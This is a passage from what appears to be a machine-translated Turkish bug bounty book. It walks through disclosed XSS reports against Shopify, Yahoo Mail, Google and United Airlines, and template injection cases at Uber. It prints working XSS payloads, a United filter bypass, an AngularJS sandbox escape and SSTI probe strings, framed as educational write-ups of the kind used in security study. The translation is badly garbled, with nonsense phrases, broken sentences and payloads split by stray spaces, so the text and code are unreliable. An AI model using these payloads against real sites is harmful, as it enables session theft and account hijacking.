XSS açıklarının karmaşık veya karmaşık olması gerekmez. Bu güvenlik açığı bulabileceğiniz en temel şeydi - sterilize etmeyen basit bir giriş metin alanı bir kullanıcının girişi. **Ve 21 Aralık 2015'te keşfedildi ve 500 dolar hacker!** Gereken tek şey bilgisayar korsanının bakış açısıydı.

2. Hediye Kartını Shopify

Zorluk : Düşük

URL : hardware.shopify.com/cart

Rapor Bağlantısı : https://hackerone.com/reports/95089 [7]

Rapor Tarihi : 21 Ekim 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Shopify'ın donanım hediye kartı sitesi[8] , kullanıcıların kendi hediye kartlarını
Dosya yükleme giriş kutusu, ayrıntılar için bazı metin kutuları vb. İçeren HTML formu.
bir ekran görüntüsü:

[7] https://hackerone.com/reports/95089

[8] hardware.shopify.com/collections/gift-cards/products/custom-gift-card

Shopify'ın donanım hediye kartı formunun ekran görüntüsü

Buradaki XSS güvenlik açığı, görüntünün adına Javascript girildiğinde ortaya çıktı.
formdaki alan. Bir HTML proxy ile yapıldığında oldukça kolay bir görev. Yani burada, orijinal
form teslimi şunları içerecektir:

İçerik - Yatırma : form - veri; name = "properties [Yapıt dosyası]"

Hangisi ele geçirilip değiştirilir:

İçerik Eğilimi : **form verisi** ; **name** = "properties [Yapıt dosyası < img src = 'test' onm \
ouseover = 'alert (2)' >] " ;

çıkarımlar

Burada XSS güvenlik açığını bulurken yardımcı olacak not edilmesi gereken iki şey var.
kravat, bağlantı, bağ:

1. Bu durumda bu güvenlik açığı aslında dosya girişi alanında değildi -
   alanın name özelliği üzerindeydi. Peki XSS'i ararken
   fırsatlar mevcut tüm giriş değerleri ile oynamayı unutmayın.
2. Buradaki değer vekil tarafından yönlendirildikten sonra gönderildi. Bu
   Javascript'in değerlerini doğrulayan
   müşteri tarafı (tarayıcınız) herhangi bir değer aslında sitenin geri dönmeden önce
   sunucusu.

**Aslında, doğrulamayı tarayıcınızda gerçek zamanlı olarak gördüğünüzde,
bu alanı test etmeniz gereken bir kırmızı kurbağa olmalı!** Geliştiriciler yapabilir
Değerlerin bir kez kötü amaçlı kod için gönderilen değerleri doğrulamaması hatası
Javascript kodunun zaten tarayıcıda olduğunu düşündükleri için sunucularına
Giriş alınmadan önce doğrulama işlemlerini yapmak.

3. Para Birimi Biçimlendirme Shopify

Zorluk : Düşük

URL : SITE.myshopify.com/admin/settings/generalt

Rapor Bağlantısı : https://hackerone.com/reports/104359[9]

Rapor Tarihi : 9 Aralık 2015

Ödemeli Ödül : 1000 $

Tanım :

Mağazanın mağaza ayarları, para birimi biçimlendirmesini değiştirme özelliğini içerir. Aralık ayında 9'da, bu girdi kutularındaki değerlerin uygun şekilde sterilize edilmediği bildirildi.
sosyal medya sayfalarını ayarlarken.

Başka bir deyişle, kötü niyetli bir kullanıcı bir mağaza kurabilir ve para birimi ayarlarını değiştirebilir mağazaya aşağıdakiler için:

[9] https://hackerone.com/reports/104359

Shopify'ın para birimi biçimlendirmesinin ekran görüntüsü

Daha sonra, kullanıcı rapor halinde sosyal medya satış kanallarını etkinleştirebilir,
Facebook ve Twitter ve kullanıcılar o satış kanalı sekmesine tıkladığında, Javascript
bir XSS güvenlik açığı ile sonuçlandı.

çıkarımlar

Javascript metni güvenli bir şekilde oluşturulduğunda XSS açıkları ortaya çıkar. Bu
metnin bir sitede birden fazla yerde kullanılması ve
Her yer test edilmelidir. Bu durumda, Shopify mağaza içermez veya
Kullanıcıların Javscript'i kendi başlarına kullanmasına izin verildiğinden XSS için çıkış sayfaları
saklayın. Düşünmeden önce bu güvenlik açığını kapatmak daha kolay olurdu
Alanın harici sosyal medya sitelerinde kullanılıp kullanılmadığı.

4. Yahoo Mail Saklanan XSS

Zorluk : Düşük

URL : Yahoo Mail

Rapor Bağlantısı : Klikki.fi [10]

Rapor Tarihi : 26 Aralık 2015

[10] https://klikki.fi/adv/yahoo.html

Ödemeli Ödül : 10.000 $

Tanım :

Yahoo'nun posta editörü, insanların bir IMG ile HTML yoluyla görüntüleri bir e-postaya gömmesine izin verdi etiket. Bu güvenlik açığı, HTML IMG etiketi hatalı biçimlendirildiğinde veya geçersiz olduğunda ortaya çıkar.

Çoğu HTML etiketi, HTML etiketi ile ilgili ek bilgiler içeren nitelikleri kabul eder. İçin örneğin, IMG etiketi oluşturulacak görüntünün adresini gösteren bir src niteliği alır. Ayrıca, bazı özellikler boolean özellikler olarak adlandırılır, yani dahil, HTML'de gerçek bir değeri temsil ederler ve ihmal edildiklerinde yanlış bir değer.

Bu güvenlik açığı ile ilgili olarak, Jouko Pynnonen boolean eklediği takdirde bir değere sahip HTML etiketlerine atfedilen özellikler, Yahoo Mail değeri kaldıracak ancak eşit işaretler. Klikki.fi web sitesinden bir örnek:

```
<INPUT TYPE = "onay kutusu" CHECKED = "merhaba" NAME = "onay kutusu">
```

Burada bir giriş etiketi, onay kutusunun işaretli olup olmadığını belirten işaretli bir özellik içerebilir. işaretlendiği gibi işlenirdi. Yukarıda açıklanan ayrıştırmanın ardından, bu olmak:

```
<INPUT TYPE = "onay kutusu" CHECKED = NAME = "onay kutusu">
```

HTML'nin işaretli bir değere sahip olup olmadığına dikkat edin, ancak yine de Eşittir işareti.

Kuşkusuz bu zararsız görünüyor ama HTML özelliklerine göre, tarayıcılar bunu okuyor NAME = "değerine sahip CHECKED olarak kontrol edin ve giriş etiketinin üçüncü bir niteliği var değeri olmayan bir adlandırılmış **kutu** . Bunun nedeni HTML'nin sıfır veya daha fazla alana izin vermesidir. eşittir işareti etrafındaki karakterleri bir alıntılanmamış öznitelik değerinde.

Bundan yararlanmak için, Jouko aşağıdaki IMG etiketini sundu:

```
< img ismap = 'xxx' itemtype = 'yyy style = genişlik:% 100; yükseklik:% 100; konum: sabit; sol: \
0 piksel; en: 0 piksel; onmouseover = alarm (/ XSS /) // ' >
```

hangi Yahoo Mail filtresine dönüşür:

< **img ismap** = **itemtype** = **yyy stili** = **genişlik** : % 100 ; **yükseklik** : % 100 ; **pozisyon** : sabit ; **sol** : 0 piksel ; **üst** \
: 0 piksel ; **onmouseover** = **alarm** (/ **XSS** /) //>

Sayfa 73

Sonuç olarak, tarayıcı tüm tarayıcı penceresini kaplayan bir IMG etiketini oluşturur
ve fare resmin üzerine geldiğinde, Javascript çalıştırılacaktır.

çıkarımlar

Yanlış biçimlendirilmiş veya bozuk HTML'yi geçmek, sitelerin nasıl ayrıştırıldığını test etmek için harika bir yoldur giriş. Bir bilgisayar korsanı olarak, geliştiricilerin neler yapmadığını düşünmek önemlidir. İçin
Örneğin, normal resim etiketleriyle, iki src niteliği iletirseniz ne olur?
Bu nasıl olacak?

5. Google Görsel Arama

Zorluk : Orta

URL : images.google.com

Rapor Bağlantısı : Zombie Help [11]

Rapor Tarihi : 12 Eylül 2015

Ödemeli Ödül : Açıklanmadı

Tanım :

Eylül 2015'te, Mahmud Jamal Google'ın resmini bulmak için Google Görseller'i kullanıyordu.
HackerOne profili. Tarama yaparken, resim URL'sinde ilginç bir şey fark etti.
Google'dan:

http: //www.google.com/imgres imgurl = https:? //lh3.googleuser.com / ...

Gerçek URL'deki imgurl referansına dikkat edin. Küçük resmin üzerine gelin,
Mahmoud, çapa etiketi href özelliğinin aynı URL'yi içerdiğini fark etti. Sonuç olarak,
parametresini **javascript olarak** değiştirmeyi denedi **: alert (1)** ve çapa etiketinin farkına vardı.
href de aynı değere değiştirildi.

Bu noktada heyecanlandı, bağlantıyı tıkladı, ancak Google olarak Javascript çalıştırılmadı.
URL farklı bir şeye değiştirildi. Anlaşılan, Google kodu URL değerini değiştirdi
Bir fare düğmesine onmousedown Javascript geri çağırma yoluyla tıklandığında.

Bunu düşünerek, Mahmoud klavyesini denemeye ve sayfa boyunca sekmeye karar verdi.
O vardığımızda **Görünüm Görüntü** düğmesi, JavaScript, bir XSS sonuçlanan tetiklendi
Güvenlik açığı. İşte görüntü:

[11] http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html

Google XSS Güvenlik Açığı

çıkarımlar

Daima güvenlik açıklarını aramaya devam edin. Bunu varsaymak kolaydır çünkü bir şirket çok büyük ya da iyi biliniyor, her şeyin bulunduğunu biliyor. Ancak, şirketler her zaman kodu gönderir.

Ek olarak, javascript'in çalıştırılabilmesi için birçok yol vardır.
Google'ın değerini değiştirdiğini gördükten sonra bu durumda vazgeçmek kolaydı.
bağlantıyı her tıkladığında, yani
fare.

6. Google Tagmanager Depolanan XSS

Zorluk : Orta

URL : tagmanager.google.com

Rapor Bağlantısı : https://blog.it-securityguard.com/bugbounty-the-5000-google-xss [12]

Rapor Tarihi : 31 Ekim 2014

Ödemeli Ödül : 5000 Dolar

Tanım :

[12] https://blog.it-securityguard.com/bugbounty-the-5000-google-xss

Ekim 2014'te Patrik Fehrehbach Google'a karşı depolanmış bir XSS güvenlik açığı buldu.
Raporun ilginç yanı, Google'dan geçen yükü nasıl elde edebileceği.

Google Tagmanager, pazarlamacıların eklemesi ve güncellemesini kolaylaştıran bir SEO aracıdır
web sitesi etiketleri - dönüşüm izleme, site analitiği, yeniden pazarlama ve diğerleri dahil. için
Bunu yapın, kullanıcıların etkileşime girmesi için çok sayıda web formu vardır. Sonuç olarak, Patrik başladı
 # " gibi görünen mevcut form alanlarına XSS yüklerini girerek **<img**
src = / onerror = uyarı (3)> . Kabul edilirse, bu mevcut HTML'yi kapatır> ve sonra
Onerror Javascript'ini uygulayacak varolmayan bir resmi yüklemek için, alert (3).

Ancak bu işe yaramadı. Google, girdiyi düzgün bir şekilde temizliyordu. Ancak Patrik fark etti
alternatif - Google, birden fazla etiket içeren bir JSON dosyası yükleme olanağı sağlar. Yani
örneği indirdi ve yükledi:

```
"veri": {
  "name": "#"> <img src = / onerror = alert (3)> ",
  "type": "AUTO_EVENT_VAR",
  "autoEventVarMacro": {
    "varType": "HISTORY_NEW_URL_FRAGMENT"
  }
}
```

Burada, etiketin adının XSS yükü olduğunu göreceksiniz. Anlaşılan, Google değildi
Yüklenen dosyalardan girdilerin ve yürütülen yükün dezenfekte edilmesi.

çıkarımlar

Burada iki şey ilginç. İlk olarak, Patrik sağlamaya bir alternatif buldu
giriş - bunun için uyanık olun ve bir hedefin sağladığı tüm yöntemleri test edin
girişi girin. İkincisi, Google girişi dezenfekte ediyordu ancak ne zaman kaçtığını bilmiyordu.
render. Patrik'in girişinden kaçmış olsalardı, yük işten çıkarılmayacaktı
çünkü HTML zararsız karakterlere dönüştürülecekti.

7. United Airlines XSS

Zorluk : Zor

URL :: checkin.united.com

Rapor Bağlantısı : United XSS United [13]

Rapor Tarihi : Temmuz 2016

[13] strukt93.blogspot.ca

Ödemeli Ödül : TBD

Tanım :

Temmuz 2016'da ucuz uçuşlar ararken Mustafa Hasan (@ strukt93) alay etmeye başladı

United Airlines sitelerinde böcek bulup bulamayacağını görmek için (United kendi hatalarını yapıyor) bunu yazdığı sırada lütuf). Bazı ilk araştırmalardan sonra, o ziyaret olduğunu fark sub domain **checkin.united.com** , SID parametresini içeren URL'ye yönlendirildi. sayfa HTML'de gösteriliyordu. Test ederek, herhangi bir değerin geçtiğini fark etti. Sayfa HTML'de işlendi. Bu yüzden test etti **"> <svg onload = onayla (1)>** eğer yanlış işlenirse, mevcut HTML özelliğini kapatmalı ve kendi svg'sini enjekte etmelidir. Javascript ile sonuçlanan etiket, onload olayının izniyle açılır.

Ancak HTTP isteğini gönderirken, yükü işlense de hiçbir şey olmadı olduğu gibi, çıkmamış:

Birleşik Sayfa Kaynağı

İşte buna dahil olmamın nedenlerinden biri, oysa muhtemelen verirdim Ayağa kalkıp uzaklaştı, Mustafa içeri girdi ve neler olduğunu sorguladı. O başladı sitenin Javascript'ine göz atıp, aşağıdaki kodla karşılaştı; Potansiyel zararlı Javascript'i, özellikle **uyarı** , **onaylama** , bilgi **isteme** çağrılarını geçersiz kılar , **yazmak** , vb .:

Birleşik XSS Filtresi

Snippet'e bakmak, Javascript'i bilmeseniz bile, tahmin edebilirsiniz.
kullanılan kelimelerin bazıları neler oluyor. Özellikle, içinde **exec_original**
XSSObject proxy tanımı. Javascript bilgisi olmadan, muhtemelen varsayılabiliriz
bu, orijinalin yürütülmesine atıfta bulunmaktadır. Hemen altında, hepsinin bir listesini görebiliriz.
ilginç anahtarlarımız ve sonra **yanlış** değer (sonuncusu hariç) geçildi. Yani sen
Bazı sitelerin yürütülmesine izin vermeyerek sitenin kendisini korumaya çalıştığını varsayabiliriz.
belirli işlevler. Şimdi, hacklemeyi öğrenirken, gelmek eğiliminde olan şeylerden biri
kara listeler, bunun gibi, bilgisayar korsanlarına karşı korumanın korkunç bir yoludur.

Bu notta, bildiğiniz veya bilmediğiniz gibi, Javascript ile ilgili ilginç şeylerden biri.
Mevcut fonksiyonları geçersiz kılabilirsiniz. Öyleyse, bunu tanıyarak, Mustafa önce
Document.write işlevini SID'de eklenen aşağıdaki değerle geri yüklemek için
JavaScript: document.write = HTMLDocument.prototype.write; document.write ('STRUKT'); .
Bunun yaptığı, belgenin yazma işlevini orijinal işlevine ayarlamaktır; dan beri
Javascript nesne yönelimli, tüm nesnelerin prototipi var. Yani, HTML'i çağırarak
Belge, Mustafa, mevcut belgenin yazma işlevini orijinaline geri döndürdü
HTMLDocument'den uygulama. Ancak document.write ('STRUKT') adlı telefonu çağırarak,
tek yaptığı, sayfaya düz metin olarak adını eklemekti:

Birleşik Düz Metin

Bu işe yaramadıysa da, Javascript işlevlerinde yerleşik olduğunu kabul etmek geçersiz kılınabilir
bir gün kullanışlı olacak. Yine de, bu noktada, görevine ve benim
Onunla tartışma, Mustafa biraz sıkışmış ve böylece @ brutelogic girdi. Sadece yaptım
Javascript'i çalıştırmak için birlikte çalışıyorlar, bir tonu sabırla cevapladılar.
Bu keşifle ilgili sorular, bu yüzden her ikisi için de büyük bir teşekkür
Mustafa'nın blogunu ve @ brutelogic'in sitesini çok sayıda harika XSS içeriğine sahip olduğu için kontrol ettiniz,
SecLists deposunda bulunan ve her ikisine de referans verilen bir hile sayfası dahil
Kaynaklar Bölümünde).

Her iki bilgisayar korsanıyla yaptığım görüşmeye göre, United'ın XSS filtresinde bir işlev eksik
benzer **yazma** ediliyor ki **writeln** . İkisi arasındaki fark bu **yazılıdır.**
basitçe metnini yazdıktan sonra yeni bir satır ekler, oysa **yazmaz** .

Yani, bunu tanıyarak, @ brutelogic işlevi yazmak için işlevi kullanabileceğini biliyordu.
United'ın XSS filtresinin bir parçasını atlayarak HTML belgesine. O yaptı
”;} {Document.writeln (decodeURI (location.hash)) -“ # <img src = 1 onerror = alert (1)> ,
ama onun Javascript hala yürütmedi. Çünkü XSS filtresi hala yükleniyordu
ve **uyarı** işlevini geçersiz kılmak .

Nihai yüke geçmeden önce, Brute'un ne kullandığına bir göz atalım ve parçalayalım:

- İlk parça, **”;}** , içine enjekte edilen mevcut Javascript'i kapatır.
- İkinci parça, **{** Javascript yükünü açar
- Üçüncü parça olan **document.writeln** , Javascript belge nesnesinin
  Sayfaya içerik yazmak için writeln işlevi (aslında, belge nesnesi)

Sayfa 79

- Dördüncü parça, **decodeURI** bir kodlanmış varlıkların kodunu çözecek olan bir fonksiyondur.
  URL (ör.% 22, “olacak”)
- Beşinci parça, **location.hash** , URL'deki # işaretinden sonraki tüm parametreleri döndürür
- Altıncı parça, **- “** uygun Javascript’i sağlamak için alıntıyı bir adımdan itibaren değiştirir.
  sözdizimi
- Son parça, **# <img src = 1 onerror = alert (1)>** asla gönderilmeyen bir parametre ekler
  Sunucuya ancak her zaman yerel olarak kalır. Bu benim için en kafa karıştırıcı oldu ama
  geliştiricilerinizi Chrome veya Firefox’ta açarak yerel olarak test edebilirsiniz;
  Kaynaklar sekmesini ve ardından tarayıcıda, herhangi bir URL’ye #test ekleyin ve
  bu HTTP isteğine dahil edilmedi

Bütün bunlarla Brute ve Mustafa, yeni bir HTML Belgesine ihtiyaç duyduklarını anladılar.
Birleşik site bağlamında, yani, sahip olmayan bir sayfaya ihtiyaçları vardı.
XSS filtresi Javascript yüklü, ancak United web sayfası bilgisi, çerezleri vb.
Ve bunu yapmak için bir IFrame kullandılar.

Özet olarak, bir IFrame başka bir HTML belgesinin içine gömülmüş bir HTML belgesidir.
Bir sitede bahsetmek. En temelinde, onu yeni bir HTML sayfası olarak düşünebilirsiniz, ancak
onu yerleştiren HTML sayfasına erişim. Bu durumda, IFrame olmazdı
XSS filtresi Javascript yüklü ancak Birleşik siteye gömülü olduğundan
çerezler de dahil olmak üzere içeriğinin tümüne erişebilir.

Tüm bunlarla, işte son yükün nasıl olduğu:

IFrames, uzak HTML'yi çekmek için bir kaynak niteliği alabilir. Bu da Brute'a izin verdi.
kaynağı Javascript olacak şekilde ayarlayın, hemen uyarı işlevini belge ile çağırın
alan adı.

çıkarımlar

Bu güvenlik açığı ile ilgili beni çok etkileyen çok şey var
bunu dahil etmek istiyorum. İlk olarak, Mustafa'nın ısrarı. Ne zaman pes etmek yerine
yük aslen ateşlemedi, Javascript koduna girdi ve öğrendi.
neden. İkincisi, kara listenin kullanımı tüm bilgisayar korsanları için kırmızı bir bayrak olmalıdır. Tut
hack edenler için bir göz. Son olarak, yükten çok şey öğrendim ve
@ brutelogic ile konuşuyor. Hackerlarla konuşurken ve kendimi öğrenmeye devam ederken,
Bazı Javascript bilgilerinin gerekli olduğu için kolayca anlaşılıyor
daha karmaşık güvenlik açıkları çekerek.

özet

XSS açıkları site geliştiricileri için gerçek bir risk oluşturuyor ve sitelerde hala yaygın
genellikle düz görüşte. Javascript uyarı yöntemine bir çağrı göndererek, alert ('test'),
Bir giriş alanının savunmasız olup olmadığını kontrol edebilirsiniz. Ayrıca, bunu birleştirebilirsiniz
HTML Enjeksiyonu ile metnin oluşturulup oluşturulmadığını görmek için ASCII kodlu karakterleri gönderin
ve yorumlanmış.

XSS açıklarını ararken, hatırlanması gereken bazı şeyler:

XSS açıklarının karmaşık olması gerekmez. Nerede olduğunu düşünmek önemlidir
bir site girişinizi ve özellikle de hangi bağlamda olduğunu
HTML veya JavaScript.

XSS yükleri gönderildikten hemen sonra çalışmayabilir. Bu im-
girişinizin oluşturulabileceği tüm yerleri arama ve onaylama
Yükün uygun şekilde sterilize edilip edilmediği. Http://html5sec.org web sitesi,
Cure53'te penetrasyon testi uzmanları tarafından sürdürülen harika bir referans
XSS yükleri için saldırı vektörü tarafından ayrıldı.

Bir site herhangi bir zamanda, girişi kaldırmak gibi değişiklikler yoluyla girdiyi temizliyorsa
karakterleri, nitelikleri ve benzerlerini dezenfekte etme fonksiyonunu test etmelisiniz.
Ality. Örneğin, bunu gibi beklenmedik değerleri göndererek yapabilirsiniz.
Boole özellikleri ile değerleri.

Kontrol ettiğiniz URL parametrelerinin sayfaya yansımasını sağlayın
Çünkü bunlar, kodlamayı atlayabilen bir XSS istisnası bulmanıza izin verebilir.
Örneğin, bir çapa etiketindeki href değeri üzerinde denetiminiz varsa,
XSS güvenlik açığıyla sonuçlanmak için özel karakterler kullanmanız gerekmeyebilir.

Bir sitenin sadece yaşı, markası, işlevselliği nedeniyle savunmasız olmadığını varsaymayın.

ity ve benzeri. En iyi bilinen siteler bile keşfedilmemiş böceklere sahip olabilir.

Sitelerin girişini dezenfekte ettiği fırsatlar için uyanık olun
giriş yaparken değil, gönderim. Ne zaman yeni bir başvuru
yöntem web sitesine eklenir ve site girdiyi dezenfekte eder, bu
potansiyel geliştirici hataları ve potansiyel hatalar için oda.

Kullanıcı girişini temizleyen bir siteden garip davranışlar gördüğünüzde ısrarlı olun
ve sterilizasyonun nasıl çalıştığını görmek için sitenin kodunu kazın. İhtiyacın olabilir
Bunu yapmak için biraz JavaScript öğrenmek, ancak sitenin kaynak kodunu anlamak
uzun vadede faydalı olacaktır.

10. Şablon Enjeksiyonu

Açıklama

Bir şablon motoru, dinamik web siteleri, e-postalar vb. Oluşturmak için kullanılan koddur. Basit
fikir, içerik için dinamik yer tutucularla şablonlar oluşturmaktır. Şablon ne zaman
işlendiğinde, motor bu yer tutucuları asıl içeriğiyle değiştirir, böylece
uygulama mantığı sunum mantığından ayrılmıştır.

Örneğin, bir web sitesinde dinamik olan kullanıcı profili sayfaları için bir şablon olabilir.
kullanıcının adı, e-posta adresi, yaşı vb. profil alanları için yer tutucular.
Bu, bir sitenin, yerine bu bilgileri alan bir şablon dosyasına sahip olmasını sağlar.
Her kullanıcının profili için ayrı bir dosya. Ayrıca motorlu motorlar genellikle ek
kullanıcı girişi iyileştirme özellikleri, basitleştirilmiş HTML üretimi ve
kolay bakım, ancak bu özellikler şablonlu motorları bağışıklık kazanmaz
açıkları.

Sunucu tarafı ve istemci tarafı olmak üzere iki tür şablon enjeksiyon zayıflığı vardır. Her ikisi de
Motorlar, kullanıcı girişi uygun şekilde dezenfekte etmeden sağladığında, çapraz
site komut dosyası. Bununla birlikte, siteler arası komut dosyası çalıştırmanın aksine, şablon ekleme güvenlik açıkları
bazen uzaktan kod yürütülmesine neden olabilir.

Sunucu Tarafı Şablon Enjeksiyonları

Sunucu tarafı şablon enjeksiyonları, aynı zamanda SSTI'ler olarak da bilinir, enjeksiyon gerçekleştiğinde gerçekleşir
sunucu tarafı mantığında. Şablon motorları genellikle belirli ile ilişkili olduğundan
programlama dilleri, bir enjeksiyon gerçekleştiğinde, yürütmek mümkün olabilir
bu dilin keyfi kodu. Kod yürütme özelliği, güvenceye bağlıdır.
motor tarafından sağlanan korumalar ve sitenin sahip olabileceği önleyici tedbirler
alınmış. Örneğin, Python Jinja2 motoru isteğe bağlı bir dosyayla ilişkilendirildi
erişim ve uzaktan kod çalıştırmanın yanı sıra tarafından kullanılan Ruby erb şablon motoru
Raylar'da varsayılan Buna karşılık, Shopify'ın Sıvı Motoru sınırlı sayıda erişime izin veriyor
tam uzaktan kod yürütülmesini engelleyen Ruby yöntemleri. Diğer popüler motorlar
PHP için Smarty ve Twig, Ruby, Mustache ve benzerleri için Haml.

SSTI testi için kullanılan sözdizimi, kullanılan motora bağlıdır, ancak genellikle aşağıdakileri içerir:
belirli bir sözdizimiyle şablon ifadelerini gönderme. Örneğin, PHP şablonu
engine Smarty ifadeleri belirtmek için dört ayraç ({{}}) kullanıyor, erb ise bir kombinasyon kullanıyor;
parantez ulus, yüzde sembolleri ve eşit bir işaret (<% =%>) . Enjeksiyonları sınama

Smarty, girişlerin sayfaya geri yansıtıldığı her yere {{7 * 7}} gönderilmesini içerebilir
(formlar, URL parametreleri vb.) ve 49 öğesinden oluşturulup oluşturulmadığını teyit etmek
kod 7 * 7 ifadesinde çalıştırma. Öyleyse, oluşturulan 49 ifadeyi ifade eder
şablon tarafından başarıyla enjekte edildi ve değerlendirildi.

Sözdizimi tüm şablon motorlarda aynı olmadığından, belirlenmesi önemlidir.
test edilen siteyi oluşturmak için hangi yazılım kullanıldı. Wappalyzer veya BuiltWith gibi araçlar
Bunu yapmanıza yardımcı olmak için özel olarak tasarlanmıştır, bu yüzden ikisini de kullanmanızı tavsiye ederim. bir Zamanlar
Yazılımı tanımladınız, yükü 7 * 7 göndermek için bu sözdizimini kullanın.

Müşteri Tarafı Şablon Enjeksiyonları

Müşteri Tarafı Şablon Enjeksiyonları veya CSTI, şablon motoru enjeksiyonlarının bir sonucudur.
İstemci şablon motorlarında, genellikle JavaScript ile yazılmış. Popüler istemci şablonu
motorlar arasında Google tarafından geliştirilen AngularJS ve Facebook tarafından geliştirilen ReactJS bulunmaktadır.

CSTI enjeksiyonları, kullanıcının tarayıcısında yürütülen yazılımda gerçekleştiğinden, çoğu
enjeksiyonlar tipik olarak sadece siteler arası komut dosyası çalıştırma (XSS) elde etmek için kullanılabilir ve
uzaktan kod yürütme. Bununla birlikte, XSS'ye ulaşmak bazen zor olabilir ve gerekebilir
SSTI açıkları gibi önleyici tedbirleri atlayarak. Örneğin, AngularJS
1.6'dan önceki sürümler, bazı JavaScript'lere erişimi sınırlama amaçlı bir Sandbox içerir.
fonksiyonları ve böylece XSS'ye karşı koruma (AngularJS'nin versiyonunu onaylayabilirsiniz.
tarayıcınızda geliştirici konsolunu açarak ve angular.version girerek kullanılır).
Bununla birlikte, etik korsanları rutin olarak Bulunan ve Açılan sanal alan bypasslarını bıraktı. bir
Sandbox için 1.3.0-1.5.7 sürümlerinde kullandığınız popüler bir baypas
Açısal enjeksiyon bulunur:

```
{{ a = toString () .constructor.prototype ; a.charAt = a.trim ; $ eval ( 'a, uyarı (1), a' ) }} .
```

Yayınlanan diğer Açısal Sandbox çıkışlarını https://pastebin.com/xMXwsm0N adresinde bulabilirsiniz.
ve https://jsfiddle.net/89aj1n7m/.

Bir CSTI güvenlik açığının ciddiyetinin gösterilmesinin sizi gerektirdiğini göreceksiniz
Kodu test etmek için potansiyel olarak uygulayabilirsiniz. Değerlendirmek mümkün olabilir iken
bazı JavaScript kodları, bazı siteler önlemek için ek güvenlik mekanizmaları olabilir.
sömürü. Örneğin, geri dönen {{4 + 4}} yükünü kullanarak bir CSTI buldum
AngularJS kullanarak bir sitede 8. Ancak, {{4 * 4}} kullandığımda, {{44}} metni döndürüldü.
çünkü site, işareti kaldırarak girişi temizlemiştir. Alan ayrıca kaldırıldı
() ve [] gibi özel karakterler ve yalnızca 30 karaktere izin verilir. Hepsi bu
Kombine etkili CSTI yararsız hale getirdi.

Örnekler

1. Uber Açısal Şablon Enjeksiyonu

Zorluk : Yüksek

URL : developer.uber.com

Rapor Bağlantısı : https://hackerone.com/reports/125027[1]

Rapor Tarihi : 22 Mart 2016

Ödemeli Ödül : 3,000 Dolar

Tanım :

Mart 2016'da, James Kettle (Burp Suite geliştiricilerinden biri, önerilen bir araç
Araçlar bölümünde), URL'de bir CSTI güvenlik açığı buldu:

https://developer.uber.com/docs/deep-linking?q=wrtz {{ 7 * 7 }}

Raporuna göre, eğer işlenen sayfa kaynağını görüntülerseniz, wrtz49 dizisi olur.
ifadenin değerlendirildiğini gösteren

Şimdi, ilginç bir şekilde, Angular "uygun bir ayrılığı sürdürmek için kum havuzu" denilen şeyi kullanıyor.
uygulama sorumluluklarının verilmesi ". Bazen kum havuzunun sağladığı ayrım
Potansiyel bir saldırganın erişebileceğini sınırlamak için bir güvenlik özelliği olarak tasarlanmıştır. Ancak,
Angular ile ilgili olarak, belgeler "bu sanal alanın amaçlanmadığını
Şablonu düzenleyebilecek saldırganı durdurmak için [ve] keyfi çalıştırmanız mümkün olabilir
Çift kıvrımlı ciltlerin içindeki Javascript "James de bunu yapmayı başardı.

Aşağıdaki Javascript'i kullanarak James, Angular sanal alanından kaçmayı başardı.
keyfi Javascript uygulaması:

https://developer.uber.com/docs/deep-linking?q=wrtz{{(_= "" .sub) .call.call ({} [$ = "\
Yapıcı "]. getOwnPropertyDescriptor (_.__ proto __, $). değeri, 0," uyarısı (1) ") ()}} zzz \
z

[1] https://hackerone.com/reports/125027

Uber Dokümanlarında Açısal Enjeksiyon

Belirttiği gibi, bu güvenlik açığı geliştirici hesaplarını kaçırmak ve bunlarla ilişkilendirmek için kullanılabilir Uygulamaların.

çıkarımlar

AngularJS kullanımı için uyanık ol ve Angular'ı kullanarak alanları test et
sözdizimi {{}}. Hayatınızı kolaylaştırmak için Firefox eklentisi Wappalyzer'i edinin - olacak
AngularJS kullanımı dahil bir sitenin hangi yazılımı kullandığını gösterir.

2. Uber Şablon Enjeksiyonu

Zorluk : Orta

URL : riders.uber.com

Rapor Bağlantısı : hackerone.com/reports/125980[2]

Rapor Tarihi : 25 Mart 2016

Ödemeli Ödül : 10.000 $

Tanım :

[2] hackerone.com/reports/125980

Uber, HackerOne'da halka açık hata ödül programını başlattığında
kendi sitesinde bulunabilecek bir “hazine haritası”, https://eng.uber.com/bug-bounty.

Harita, aşağıdakiler dahil olmak üzere Uber'in kullandığı bazı hassas alt etki alanları ile ilgilidir.
teknolojilerin her biri tarafından güvenildi. Yani, söz konusu siteye gelince, riders.uber.com,

yığın Python Flask ve NodeJS içeriyordu. Peki, bu güvenlik açığı ile ilgili olarak, Orange
(bilgisayar korsanı), Flask ve Jinja2'nin kullanıldığını ve isimdeki sözdizimini test ettiğini belirtti.
alan.

Şimdi, testler sırasında Orange, riders.uber.com sonuçlarında bir profilde herhangi bir değişiklik olduğunu kaydetti.
Hesap sahibine bir e-posta ve kısa mesaj içinde. Yani, blog gönderisine göre, o
üzerinden test **{{1 + 1}}** ifade ayrıştırma ve baskı 2 sitesi ile sonuçlanmıştır
kendine e-posta gönder.

O sonra yük çalıştı **{{C, C, C}} {% endfor%} {[1,2,3]% C için%}** için çalışır
profil sayfasında aşağıdaki sonuçlanan döngü:

blog.orange.tw Yük enjeksiyonundan sonra Uber profili

ve sonuçta ortaya çıkan e-posta:

blog.orange.tw Yük aktarımı enjeksiyonundan sonra Uber e-postası

Görebildiğiniz gibi, profil sayfasında gerçek metin oluşturulur ancak e-posta aslında kodu uyguladı ve e-postaya enjekte etti. Sonuç olarak, izin verilen bir güvenlik açığı mevcut Python kodunu çalıştırmak için bir saldırgan.

Şimdi, Jinja2, yürütmeyi korumayı engelleyerek hasarı azaltmaya çalışıyor, yani işlevsellik sınırlıdır, ancak bu zaman zaman atlanabilir. Bu rapor oldu Aslında bir blog yazısı (biraz erken gitti) tarafından desteklenen ve bazı büyük dahil nVisium.com bloguna bağlantılar (evet, Rails RCE'yi çalıştıran aynı nVisium) sanal alan işlevselliğinden nasıl kaçılacağını gösterdi:

- https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2
- https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii

çıkarımlar

